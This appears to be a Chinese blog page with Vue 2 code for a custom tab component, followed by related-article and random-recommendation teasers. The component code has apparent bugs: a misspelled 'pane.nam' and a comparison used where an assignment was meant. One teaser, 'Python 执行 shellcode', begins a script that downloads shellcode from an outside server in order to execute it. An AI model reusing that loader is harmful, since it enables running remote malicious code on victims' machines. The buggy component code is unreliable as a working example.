vue-标签页组件
content
<template>
<div class="tab-content">
<TabBar v-model="activeKey">
<TabBody label="标签一" name="1">
标签一的内容
</TabBody>
<TabBody label="标签二" name="2">
标签二的内容
</TabBody>
<TabBody label="标签三" name="3">
标签三的内容
</TabBody>
<TabBody label="标签四" name="4">
标签四的内容
</TabBody>
</TabBar>
</div>
</template> <script> import TabBar from '@/components/TabBar';
import TabBody from '@/components/TabBody'; export default {
name:"tabContent",
data() {
return{
activeKey:'1'
}
},
components:{
TabBar,
TabBody
} }
</script> <style lang="less">
.tab-header{
display: flex;
justify-content: center;
align-items: center;
line-height: 30px;
.tabs-item{
border-right: 1px solid #eee;
padding: 0 10px;
&:last-child{
border-right: 0;
}
}
}
.tab-content{
padding: 10px;
}
</style>
tabbar
<template>
<div class="tab-bar">
<div class="tab-header">
<div class="tabs-item"
:class="tabCls(item)"
v-for="(item,idx) in navList"
:key="idx"
@click="handlerChange(idx)"
>
{{item.label}}
</div> </div> <div class="tab-body">
<slot></slot>
</div>
</div>
</template> <script>
export default {
props:{
value:{
type:[String,Number]
}
},
data(){
return{
currentValue:this.value,
navList:[]
}
},
methods:{
tabCls(item){
return [
'tabs-tab',
{
'tabs-active':item.name == this.currentValue
}
]
},
handlerChange(idx){
let nav = this.navList[idx];
let name = nav.name;
this.currentValue = name;
this.$emit('input',name)
this.$emit('on-click',name);
},
getTabs(){
return this.$children.filter((item)=>{
return item.$options.name == 'pane'
})
},
updateNav(){
this.navList = [];
this.getTabs().forEach((pane,idx)=>{
this.navList.push({
label:pane.label,
name:pane.name || idx
})
if(!pane.name){
pane.nam = idx;
}
if(idx == 0){
if(!this.currentValue){
this.currentValue == pane.name || idx;
}
}
})
this.updateStatus();
},
updateStatus(){
let tabs = this.getTabs();
tabs.forEach(item=>{
return item.show = item.name === this.currentValue;
})
}
},
watch:{
value(val){
this.currentValue = val;
},
currentValue(){
this.updateStatus();
}
}
}
</script> <style> </style>
tab-body
<template>
<div class="tab-content" v-show="show">
<slot></slot>
</div>
</template> <script>
export default {
name:'pane',
props:{
name:{
type:String
},
label:{
type:String,
default:''
}
},
data() {
return{
show:true
}
},
methods:{
updateNav(){
this.$parent.updateNav();
}
},
mounted(){
this.updateNav();
},
watch:{
label(){
this.updateNav();
}
}
}
</script> <style> </style>
vue-标签页组件的更多相关文章
- 一款易用、高可定制的vue翻页组件
一款易用.高可定制的vue翻页组件 在线体验:pages.cixi518.com 使用 npm i vo-pages --save vo-pages组件父元素必须设置固定高度并填写属性overflow ...
- zTab layui多标签页组件
zTab zTab是一个layui多标签页插件,仿照了layuiAdmin的iframe版Tab实现 当前版本v1.0 码云地址:https://gitee.com/sushengbuyu/zTab ...
- vue 标签页以及标签页赋值
背景: 使用vue增加了标签页,点击不同标签页传给后端的值不一样,用来做区分,如图: vue代码如下: 使用 form.PageA form.PageB ,后端接收到的值 first.second ...
- 《vue.js实战》练习---标签页组件
html: <!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF ...
- 看JQ时代过来的前端,如何转换思路用Vue打造选项卡组件
前言 在Vue还未流行的时候,我们都是用JQuery来封装一个选项卡插件,如今Vue当道,让我们一起来看看从JQ时代过来的前端是如何转换思路,用数据驱动DOM的思想打造一个Vue选项卡组件. 接下来, ...
- Element-UI标签页el-tabs组件的拖动排序实现
ElementUI的标签页组件支持动态添加删除,如下图: 但是这个组件不支持标签之间的拖动排序.那么我们自己怎样实现这个功能呢? 有一个叫vuedraggable的组件(https://github. ...
- Ant Design Blazor 组件库的路由复用多标签页介绍
最近,在 Ant Design Blazor 组件库中实现多标签页组件的呼声日益高涨.于是,我利用周末时间,结合 Blazor 内置路由组件实现了基于 Tabs 组件的 ReuseTabs 组件. 前 ...
- vue单页面条件下添加类似浏览器的标签页切换功能
在用vue开发的时候,单页面应用程序,而又有标签页这种需求,各种方式实现不了, 从这个 到这个,然后再返回上面那个 因为每个标签页的route不一样,导致组件重新渲染的问题,怎么都不知道如何实现... ...
- 第四节:Vue表单标签和组件的基本用法,父子组件间的通信
vue表单标签和组件的基本用法,父子组件间的通信,直接看例子吧. <!DOCTYPE html> <html> <head> <meta charset=&q ...
- Bootstrap入门(十二)组件6:导航标签页
Bootstrap入门(十二)组件6:导航标签页 1.标签页 2.胶囊式标签页 3.垂直展示 4.两端对齐的标签页 5.禁用的链接 6.添加下拉菜单 先引入本地的CSS文件和JS文件(注:1. ...
随机推荐
- docker(七) 使用dockerfile-maven-plugin插件构建docker镜像
在dockerfile-maven-plugin插件出现之前,还有一个maven插件是docker-maven-plugin,是由同一个作者创造,作者明确表示推荐使用dockerfile-maven- ...
- 关于 i++ 与 ++i
首先关于这个真的不想在看资料了,自己都背过了,++i 和 i++,在单独使用时,就是 i=i+1. a = ++i 相当于 i=i+1; a = i; (先i = i + 1,再使用i的 ...
- Python 执行 shellcode
import urllib2 import ctypes import base64 # 从我们的web服务器上下载shellcode url = "http://rinige.com/sh ...
- Tensorflow调试Bug解决办法记录
1.ascii' codec can't encode characters in position 0-4: ordinal not in range(128) 原因是python2.X默认的编码是 ...
- 安卓微信连接fiddler等抓包工具无法抓取https
问题描述: 在手机连接pc的fiddler后,安卓微信打不开https页面,安卓的浏览器.qq等都可以正常访问https,ios也都可以,就只有安卓微信放问https是空白页面 解决思路: 一. 证书 ...
- Hdoj 1847.Good Luck in CET-4 Everybody! 题解
Problem Description 大学英语四级考试就要来临了,你是不是在紧张的复习?也许紧张得连短学期的ACM都没工夫练习了,反正我知道的Kiki和Cici都是如此.当然,作为在考场浸润了十几载 ...
- 【CF1133E】K Balanced Teams(动态规划,单调队列)
[CF1133E]K Balanced Teams(动态规划,单调队列) 题面 CF 让你把一堆数选一些出来分成不超过\(K\)组,每一组里面的最大值和最小值之差不超过\(5\),求最多有多少个人元素 ...
- 位运算之——按位与(&)操作——(快速取模算法)
学习redis 字典结构,hash找槽位 求槽位的索引值时,用到了 hash值 & sizemask操作, 其后的scan操作涉及扫描顺序逻辑,对同模的槽位 按一定规则扫描! 其中涉及位运算 ...
- Excel将一列数据变为两列
如下表可将第一列分散到第二列和第三列 A B C 1 =OFFSET($A$1,(ROW(A1)-1)*2+COLUMN(A1)-1,) &"" =OFFSET($A$2, ...
- Redux Todos Example
此项目模板是使用Create React App构建的,它提供了一种简单的方法来启动React项目而无需构建配置. 使用Create-React-App构建的项目包括对ES6语法的支持,以及几种非官方 ...